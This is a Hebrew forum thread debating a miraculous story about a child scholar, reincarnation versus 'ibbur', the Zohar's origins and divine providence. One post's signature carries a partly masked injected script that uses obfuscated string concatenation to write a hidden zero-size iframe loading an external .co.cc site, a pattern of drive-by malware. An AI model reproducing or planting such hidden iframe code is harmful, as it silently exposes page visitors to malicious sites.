|
|
| נשלח ב-3/8/2011 00:28 |
 |
| |
ייתכן
אני סבור שעמדת על נקודה מסויימת חשובה ביותר שהיא אחת משורשי אי הסכמה שבינינו.
אתה כמה פעמים התבטאת בצורה שממנה משתמע ש"ראיה" היא רק כזו שאין עליה עוררין (ניסוח שלי ולא מדוייק). לפחות לדברים מסויימים אתה תובע, אולי בצדק, ראיות "חזקות". כאן ציינת בצדק שאין ראיות לסיפור על הילד שידע בעל פה מקורות ברמה שמוציאים על פיה ממון בבית דין.
אבל שים לב שלא בכל המחקרים אנו תובעים או מקבלים רמה כזו. בהיסטוריה ודאי שלא. הסיפור שמופיע כאן, כפי שהבנתי אותו וכפי שסיכמתי אותו לעיל, הוא בלתי אפשרי לפי המדע המוכר לנו. ויש עליו עדויות, אם כי עקיפות וכאלו שניתן לערער עליהן. אולם האם נצדק או נשגה אם לא נרצה להקשיב לסיפור כזה?
אחד הכללים המתודולוגיים שחוקרים מהסוג החביב עלי (ואני ממליץ) כמו מרטין גרדנר, רנדי ואחרים השתמשו בו הוא להניח שסיפורים מופלאים יכולים להיות לא מדוייקים, אך עדיין צריך לבאר איך הם צצו. האם הם שקר מכל וכל? האם אפשר להסביר אותם על ידי שורש שהיה גם היה שסביבו נרקמו תוספות? האם היו עובדות שפורשו באופן לא הכרחי? וכיו"ב.
זה מה שאני סבור שראוי לעשות כאן. לכן הצבעתי על כך שגם אם מקבלים את העובדות המינימליות שהתבררו פחות או יותר, המסקנה אינה בהכרח שהיהדות אמת, שהקבלה אמת, שהספרים שצוטטו אם צוטטו הם אמת. הסברים כמו טלפטיה, ראית העתיד וכיו"ב מסבירים לא פחות את התופעה.
האם זה בזבוז זמן לנסות להתחקות על עובדות אלו ולהבין את תולדות הפרשנות שניתנה להן? אני סבור שלא. ראשית, זה מעניין ואפילו מבדר. שנית, אפשר ללמוד מזה הרבה על עקרונות הפרשנות. שלישית, אולי נרחיק מאמיני הבל מן העבירה. רביעית, אולי נתקן את עצמנו בכך שנגלה שהשערות מסויימות (כמו היות ה"קבלה" שקרית) הן בעצם טעות?
 |
|
|
|
|
| נשלח ב-3/8/2011 00:29 |
|
| |
יהי אור
כתבתי בשם היעבץ דברים שקראתי אודותיו וכך התרשמתי מדברי הכותב ההוא(גם זה היה מזמן מזמן). אפשר מאד שטעיתי, הרי לא קראתי את הספר עצמו, והיה עלי לציין זאת במה שכתבתי אלא שהדברים אז הוצגו כמילתא דפשיטא (דבר ברור). כמובן, אפשר שהמקור שקראתי הבין אחרת ממך את דברי היעבץ. איני יודע.
תודה על התיקון. וצריך לברר אכן את שיטתו, וראוי כמובן באשכול נפרד.
_נוספה הערה חשובה________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 03/08/2011 00:31:27
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-3/8/2011 00:40 |
|
| |
מיימוני, במחקרים היסטוריים לא דורשים ראיות ברורות, בעיקר כי אין להם כל כך משמעויות מעשיות.
|
|
|
|
| נשלח ב-3/8/2011 00:50 |
|
| |
| eli_s כתב: |  | | מיימוני, במחקרים היסטוריים לא דורשים ראיות ברורות, בעיקר כי אין להם כל כך משמעויות מעשיות. |
|
בוודאי במיוחד שיש לנו אינטרס לא לדעת, כי שמה זה יסתור את ההיסתכלות שלנו בהווה,
|
|
|
|
| נשלח ב-3/8/2011 00:55 |
|
| |
| שותפיסוד כתב: | | עכשיו השאלה איך נוצרים שינויים כאלה בין האנשים מלכתחילה ? |
|
לדעתי ולטענתי שזו באחריות האדם למעשיו לדורי דורות, כלומר האלוקים ברא את האדם שלם, והוא מתוך בחירתו (חוסר דעת ומדע) גרם לשינויים באובולוציה הגנטית, הרי כולם מסכימים שהיית אב קדמון לכולם, אז שאלתך זועקת לשמים, איך זה קרה שיש הבדלים בגנים,
כלומר אפי' אם נקבל את דעת המדע שבאובולוציה האב הקדמון היית פרימיטיבי ?! אז אייך התפלג למצב שלזה יש את זה מה שלאחר אין ?
אל כורחינו שהכל בבחירתינו אנו, או מדעת או מחוסר דעת (= חוסר לימוד ומחקר)
תוקן על ידי maxmen ב- 03/08/2011 00:57:55
|
|
|
|
| נשלח ב-3/8/2011 01:09 |
|
| |
| maxmen כתב: | | עכשיו השאלה איך נוצרים שינויים כאלה בין האנשים מלכתחילה ?
לדעתי ולטענתי שזו באחריות האדם למעשיו לדורי דורות, כלומר האלוקים ברא את האדם שלם, והוא מתוך בחירתו (חוסר דעת ומדע) גרם לשינויים באובולוציה הגנטית, הרי כולם מסכימים שהיית אב קדמון לכולם, אז שאלתך זועקת לשמים, איך זה קרה שיש הבדלים בגנים,
כלומר אפי' אם נקבל את דעת המדע שבאובולוציה האב הקדמון היית פרימיטיבי ?! אז אייך התפלג למצב שלזה יש את זה מה שלאחר אין ?
אל כורחינו שהכל בבחירתינו אנו, או מדעת או מחוסר דעת (= חוסר לימוד ומחקר) |
|
אבל יש פתרון פשוט יותר- יש בורא לעולם שמתערב ומכוון את הדברים, ועל גבי הפלטפורמה הכללית משגיח בהשגחה פרטית על כל פרט ופרט.
|
|
|
|
| נשלח ב-3/8/2011 02:45 |
|
| |
מיימוני אתה מתעלם?או שלא ראית?דף10
|
|
|
|
| נשלח ב-3/8/2011 09:05 |
|
| |
ביליצר
תפוס לשון ראשון. לא ראיתי. זמני היה מצומצם מאד ולא קראתי אלא "מלמעלה". (זו גם ההזדמנות ליידע את כל מי שממתין לתשובה. מקוה לענות לאט לאט בימים הקרובים).
אני מעתיק מה שכתבת:
מיימוני האם מסקנא להגיד עיבור ולא גילגול מהוה בשבילך כזה פער ?ולמה?
אני עונה: איני מאמין לא בזה ולא בזה. מטרתי היתה להראות ששתי התשובות קבילות, כפי שיש תשובות נוספות. אני כן מאמין שהיה אירוע כזה כיון שיש עליו עדויות וקשה בעיני לדחות עדויות גם אחרי שמקלפים תוספות מסתברות. אז יש כאן ודאי דבר שצריך להבין שהרי הוא סותר את תפיסתנו לגבי התפתחות הנפש.
במבט מהצד, נראה שהרעיון של עיבור עדיף על של גלגול. מסיבה זו: המגולגל, לפי התיאוריות המקובלות, בעם ישראל של היום (זה של שותף סוד, סמיילי) ושל ההודים מלפני אלפי שנים, אינו זוכר מה שהיה בעבר. לעומת זאת, הופעה של "עיבור", לפי התיאוריה שנראית מספר החזיונות של הרח"ו, אולי היא בלתי מודעת אבל היא מאפשרת לאדם להשיג השגות שלא היו לו קודם. האם זה לא הסבר מסתבר יותר מאשר גלגול שבו הידע לא נמחק?
עוד כתבת:
לגבי היעבץ אין הוא אומר שהזוהר הומצא בו ביום ,אלא שיד זרים היתה בו.
ראה מה שכתבתי ליהי אור שלא קראתי את היעבץ אלא סמכתי על מה שקראתי בשמו וכנראה לא הבנתי את המקור או שהוא לא היה מדוייק (או שזכרוני הכשילני). ותודה על התיקון.
ושוב לגבי הגילגולים מובא בחיי עולם ביחד עם סיפור האשכול,שמודע שיש ששללו את הגילגול אך רוב הראשונים האמינו,ומביא גם מקור בגמרא עיין שם.וגם אם תקבל את העיבור לא יעמוד רס,ג על גביך .
לא קראתי לאחרונה ב"חיי עולם" אולם מנסיוני אני נזהר מן הביטוי "רוב הראשונים". איך סופרים את ה"רוב" הזה?
ועוד, וכי הרוב קובע? וכי הם בדקו או אימצו תיאוריה שבאה אליהם?
ומעל לכל, האם יש רשימה של "הראשונים" עם סימון מה סבר כל אחד ואחד מהם ומהיכן למד.
עד לרמב"ן האמונה בגלגול, עד כמה שידוע לי, אינה מופיעה. הרמב"ן אינו משתמש במונח הזה אלא ב"סוד העיבור" (שאותו הוא מבין בשונה משימושו אצל הרח"ו ואצלי כאן לעיל). גם תלמידיו מתחילים להשתמש בביטוי בזהירות רבה מאד. אז איך נוצר "רוב הראשונים" הזה?
אבל אני מציע שאת הדיון על היקלטות אמונת הגלגול בעם ישראל (איקון עצוב מאד) נשאיר לאשכול אחר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-3/8/2011 09:48 |
|
| |
מקס
אני חושב ששותפיסוד צודק, אין מדובר בהשתלת התוכנה בעובר, אלא בלימוד ממשי של כל התורה. והראיה המוחצת היא מכך שהגמ' שם אומרת שעל ראש העובר דולק נר. והרי רק לשם השתלת התוכנה לא צריך אור. אלא ודאי שהנר נצרך ללימוד התורה כולה מהספרים.
|
|
|
|
|
| נשלח ב-3/8/2011 13:36 |
|
| |
| מהאכפתלך כתב: | | מקס
אני חושב ששותפיסוד צודק, אין מדובר בהשתלת התוכנה בעובר, אלא בלימוד ממשי של כל התורה. והראיה המוחצת היא מכך שהגמ' שם אומרת שעל ראש העובר דולק נר. והרי רק לשם השתלת התוכנה לא צריך אור. אלא ודאי שהנר נצרך ללימוד התורה כולה מהספרים. |
|
תראה הבכי של התינוק מיד שיוצא מבטן אמו היא בגלל האור הראשוני שהוא רואה, אז הנר היא כנראה לא כפשוטו, חוץ מזה שהיום יש במדע תמונות\סרט מאולטרסאונד תלת מימדי מכל התשע חודשים של ההיריון. ואין שם נר דולק הכל חשוך שם,
מה שכן מעניין הוא. שמוחו של התינוק מקבל את האור (פולסים בל"ז) יותר מאוחר,
|
|
|
|
| נשלח ב-3/8/2011 13:50 |
|
| |
מיימוני אם לדעתך[ועובדה שציטטת אותם]רסג והרמבן וכו,הם מאן דאומרים בנידון,אז כן,הרוב קובע.
|
|
|
|
| נשלח ב-3/8/2011 14:13 |
|
| |
| שותפיסוד כתב: | | | אבל יש פתרון פשוט יותר- יש בורא לעולם שמתערב ומכוון את הדברים, ועל גבי הפלטפורמה הכללית משגיח בהשגחה פרטית על כל פרט ופרט. |
|
תראה השאלה מה כוונתך להשגחה פרטית ומה הכוונה שמתערב, אם אתה מתכוון כפשוטו הקלסי של הילדים בגן ?! אז אנו יודעים שזה לא כך, כי אז לא היה מצווה את האדם לשמור על העולם שלא יקלקל, (כלומר יש בחירה וחופש ואז גם הבוחר יכול לצפצף עליו ח"ו, אז תאמר טוב בסוף ישלם לו בחזרה, אבל בינתיים הווא נותן לו חופש, אז יוצא שיש מצבים שאין השגחה כלומר הוא משחק בקוביה)
בכלכלה בוודאי לא מתערב אחרת לא היית כלכלה כלל וכלל, הדוגמא של זריקת הכסף של הנצאים על אנגליה מספיק לעביר לך את האבסורד שבדבר,
עצם הדרישת התורה לצדק חברתי ועונש וכדומה גם בא אך ורק בגלל שהוא כביכול לא מתערב אחרת בשביל מה צדק חברתי ??
בקיצור: ההשגחה הקלסית לא קיימת לא בתורה ולא בנביאים ולא בכתובים ולא בחז"ל ולא במציאות,
רק אם נעמיק מאוד בחכמה נראה השגחה פרטית רציונאלי ואמיתי, אבל בהשגחה הזו האדם משחק תפקיד קריטית ביותר כלומר אם לא יעשה לפי התורה וחז"ל הוא פשוט ייקבל את הקללות של התורה,
הנה הרמב"ם בהלכות דעות פרק ה "דרך בעלי דעה שיקבע לו אדם מלאכה המפרנסת אותו תחילה, ואחר כך יקנה בית דירה, ואחר כך ישא אשה, שנאמר מי האיש אשר נטע כרם ולא חללו, מי האיש אשר בנה בית חדש ולא חנכו, מי האיש אשר ארש אשה ולא לקחה, אבל הטפשין מתחילין לישא אשה ואחר כך אם תמצא ידו יקנה בית ואחר כך בסוף ימיו יחזור לבקש אומנות או יתפרנס מן הצדקה, וכן הוא אומר בקללות אשה תארש בית תבנה כרם תטע, כלומר יהיו מעשיך הפוכין כדי שלא תצליח את דרכיך, ובברכה הוא אומר ויהי דוד לכל דרכיו משכיל וה' עמו"
בפרשת השבוע רציתי לצטט ושכחתי לצטט,
במדבר פרק לג
(נ) וַיְדַבֵּר יְקֹוָק אֶל מֹשֶׁה בְּעַרְבֹת מוֹאָב עַל יַרְדֵּן יְרֵחוֹ לֵאמֹר:
(נא) דַּבֵּר אֶל בְּנֵי יִשְׂרָאֵל וְאָמַרְתָּ אֲלֵהֶם כִּי אַתֶּם עֹבְרִים אֶת הַיַּרְדֵּן אֶל אֶרֶץ כְּנָעַן:
(נב) וְהוֹרַשְׁתֶּם אֶת כָּל יֹשְׁבֵי הָאָרֶץ מִפְּנֵיכֶם וְאִבַּדְתֶּם אֵת כָּל מַשְׂכִּיֹּתָם וְאֵת כָּל צַלְמֵי מַסֵּכֹתָם תְּאַבֵּדוּ וְאֵת כָּל בָּמֹתָם תַּשְׁמִידוּ:
(נג) וְהוֹרַשְׁתֶּם אֶת הָאָרֶץ וִישַׁבְתֶּם בָּהּ כִּי לָכֶם נָתַתִּי אֶת הָאָרֶץ לָרֶשֶׁת אֹתָהּ:
(נד) וְהִתְנַחַלְתֶּם אֶת הָאָרֶץ בְּגוֹרָל לְמִשְׁפְּחֹתֵיכֶם לָרַב תַּרְבּוּ אֶת נַחֲלָתוֹ וְלַמְעַט תַּמְעִיט אֶת נַחֲלָתוֹ אֶל אֲשֶׁר יֵצֵא לוֹ שָׁמָּה הַגּוֹרָל לוֹ יִהְיֶה לְמַטּוֹת אֲבֹתֵיכֶם תִּתְנֶחָלוּ:
(נה) וְאִם לֹא תוֹרִישׁוּ אֶת יֹשְׁבֵי הָאָרֶץ מִפְּנֵיכֶם וְהָיָה אֲשֶׁר תּוֹתִירוּ מֵהֶם לְשִׂכִּים בְּעֵינֵיכֶם וְלִצְנִינִם בְּצִדֵּיכֶם וְצָרֲרוּ אֶתְכֶם עַל הָאָרֶץ אֲשֶׁר אַתֶּם יֹשְׁבִים בָּהּ:
(נו) וְהָיָה כַּאֲשֶׁר דִּמִּיתִי לַעֲשׂוֹת לָהֶם אֶעֱשֶׂה לָכֶם: פ
הפסוק האחרון מוזר מאוד, מה פירוש "דמיתי" ?? ולמה כזה עונש ? הרי קודם כל הוא אומר שבעצם שהם יהיו לצנינים וצררו אתכם. וזה כבר העונש, אז למה עוד עונש כביכול ? ושוב מה זה "דימיתי"
כאן התורה אומרת לנו כלל גדול, שיש דימיון כלומר יש חוקיות בהתנהגות האדם והשכר והעונש קיימים בתוכו,
למה קל לנו לכבוש את הארץ ? כי יש שם קהילות נפרדות (= 31מלכים ומדינות בתוך ארץ כזו קטנה ??) ועובדי ע"ז מכל הסוגים,
וכאן אפשר לומר "דמיתי" = דימון\עתקה של העונש הטבעי חוקי בטבע האנושי
כלומר אם נתנהג כמוהם ?! אז כמו שאנו כבשנו אותם בקלות כך יכבשו אותנו בקלות,
|
|
|
|
| נשלח ב-3/8/2011 14:16 |
|
| |
הרב מיימוני, אם היית מתאפק עוד כמה ימים היית מזכה את המשתתפים בברכת מחיה המתים. כתבת, אתה כמה פעמים התבטאת בצורה שממנה משתמע ש"ראיה" היא רק כזו שאין עליה עוררין (ניסוח שלי ולא מדויק). בעבר האשמתני בבורות. אז לפחות הרחקת עדותך ופטרת עצמך מלהביא דוגמאות. תמיד ניתן לומר שאי הידיעה מבצבצת בין השורות. עכשיו אתה מרשה לעצמך לתלות בי דברים שמעולם לא אמרתי. אני בסך הכול רוצה ראיות סבירות מהסוג בו נעשה שימוש בכל העולמות (בריאה, יצירה, עשיה) מלבד עולם התיאולוגיה (אצילות). הא ותו לא. לפחות לדברים מסוימים אתה תובע, אולי בצדק, ראיות "חזקות". אכן. כעוצם המסקנה כך הדרישה לתוקף הראיה. כאן ציינת בצדק שאין ראיות לסיפור על הילד שידע בעל פה מקורות ברמה שמוציאים על פיה ממון בבית דין. לא התכוונתי לומר כי צריך ראיה חמורה כדוגמת הוצאות ממון. התכוונתי ראיה סבירה הנהוגה בעולם המעשה. כתבתי, מה שאני קראתי כאן, אין בו כדי להוציא פחות משווה פרוטה בדינא דפרסאה. אם הניסוח לא היה מוצלח הדרנה בי. אבל שים לב שלא בכל המחקרים אנו תובעים או מקבלים רמה כזו. אני דורש אחוז מסוים מהרמה הנדרשת במחקרים הנוגעים לבירור דברים רציניים ומשמעותיים. בהיסטוריה ודאי שלא. עניתי לך כבר על זה בעבר כפי שענה לך אלי כאן. הסיפור שמופיע כאן, כפי שהבנתי אותו וכפי שסיכמתי אותו לעיל, הוא בלתי אפשרי לפי המדע המוכר לנו. ויש עליו עדויות, אם כי עקיפות וכאלו שניתן לערער עליהן. אולם האם נצדק או נשגה אם לא נרצה להקשיב לסיפור כזה? אני לגמרי בעד הקשבה ואף כתבתי זאת. אני חושב שהניסוח יש עליו עדויות אם כי עקיפות וכאלו שניתן לערער עליהן יש בו מן המניפולציה. אחד הכללים המתודולוגיים שחוקרים מהסוג החביב עלי (ואני ממליץ) כמו מרטין גרדנר, רנדי ואחרים השתמשו בו הוא להניח שסיפורים מופלאים יכולים להיות לא מדויקים, אך עדיין צריך לבאר איך הם צצו. האם הם שקר מכל וכל? האם אפשר להסביר אותם על ידי שורש שהיה גם היה שסביבו נרקמו תוספות? האם היו עובדות שפורשו באופן לא הכרחי? וכיו"ב. אני מסכים לגמרי. אני מניח שאתה מודע לדרך בה סיפורים כאלה צצים ומתפתחים. דווקא אני נוקט בשיטה המתודולוגית שכה חביבה עליך ואתה מושך את הדברים לכיוון שונה. זה מה שאני סבור שראוי לעשות כאן. לכן הצבעתי על כך שגם אם מקבלים את העובדות המינימליות שהתבררו פחות או יותר, מה בדיוק התברר פחות או יותר. יש לך עדות אחת! מכלי ראשון? המסקנה אינה בהכרח שהיהדות אמת, שהקבלה אמת, שהספרים שצוטטו אם צוטטו הם אמת. אם תהיה לכך הוכחה אין לי שום בעיה עם המסקנה. אתה מנסה לשחד אותי להאמין לסיפורי סבתא בהבטחה כי לא יאונה לי רע? הסברים כמו טלפתיה, הלוואי והייתי יודע האם אכן מדובר בתופעה בדוקה ומה משמעותה. ראית העתיד ידוע לך על דבר כזה שנבדק ברצינות? וכיו"ב מסבירים לא פחות את התופעה. יש לנו הסבר כל כך פשוט. למה לשעות בדברי שקר. האם זה בזבוז זמן לנסות להתחקות על עובדות אלו ולהבין את תולדות הפרשנות שניתנה להן? אני סבור שלא. גם אני סבור כמוך. הערתי על מה שכתבת כמדומה שאושרו כאן, ברמות שונות של אמינות, הנתונים הבאים, בזמן שלא אושר כאן שום דבר. ראשית, זה מעניין ואפילו מבדר. שנית, אפשר ללמוד מזה הרבה על עקרונות הפרשנות. אכן. הבעיה, כאמור שמדבריך השתמע כי אין מדובר בפרשנות סובייקטיבית אלא בעובדות. שלישית, אולי נרחיק מאמיני הבל מן העבירה. מה בינם לבין מאמיני תורה מן השמיים? רביעית, אולי נתקן את עצמנו בכך שנגלה שהשערות מסוימות (כמו היות ה"קבלה" שקרית) הן בעצם טעות? אין לי עם זה שום בעיה. צריך רק לבדוק אם יש לפנינו עובדות, או איזה כשרון שנופח מסיבות ידועות ומוכרות עד למאוד. כתבתי כבר, כי המופת היותר גדול הוא שכחת תלמודו. דומני כי כזאת לא ראינו מעולם.... יחי האליבי.
|
|
|
|
|
| נשלח ב-3/8/2011 14:30 |
|
| |
ייתכן,
היות ומיימוני יודע את שמי וכתובתי אני מוכן שיעביר לך באישי (או שאני אעשה זאת) כדי שנוכל להגיע בסופו של דבר לבירור אצל האיש החי עמנו היום לאוי"ט.
אדרבא, אם אכן אמיצים אתם בואו לבדוק בלי להתחמק.
|
|
|
|
| נשלח ב-3/8/2011 14:37 |
|
| |
יתכן כתב
"כתבתי כבר, כי המופת היותר גדול הוא שכחת תלמודו"
הרבי אחר את הטיסה, הוא כעס מאד וקילל את המטוס שיפול. אמרו לו החסידים. מילא הטייס אשם שלא המתין לרבי. אולם מה אשמים הנוסעים המסכנים.
חשב הרבי ואמר "נו המטוס לא יפול", והמטוס לא נפל!!!!
|
|
|
|
|
